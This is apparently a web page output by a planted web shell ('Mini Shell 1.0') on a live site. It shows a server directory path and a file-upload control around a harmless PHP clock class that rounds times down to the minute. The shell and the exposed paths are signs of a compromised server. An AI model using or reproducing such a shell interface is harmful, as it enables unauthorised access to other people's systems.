HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /var/www/devs.lapieza.net/vendor/beste/clock/src/Clock/
Upload File :
Current File : /var/www/devs.lapieza.net/vendor/beste/clock/src/Clock/MinuteClock.php
<?php

declare(strict_types=1);

namespace Beste\Clock;

use Beste\Clock;
use DateTimeImmutable;
use Psr\Clock\ClockInterface;

final class MinuteClock implements Clock
{
    private ClockInterface $clock;

    private function __construct(ClockInterface $clock)
    {
        $this->clock = $clock;
    }

    public static function wrapping(ClockInterface $clock): self
    {
        return new self($clock);
    }

    public function now(): DateTimeImmutable
    {
        return $this->floor($this->clock->now());
    }

    private function floor(DateTimeImmutable $now): DateTimeImmutable
    {
        return $now->setTime(
            (int) $now->format('H'),
            (int) $now->format('i')
        );
    }
}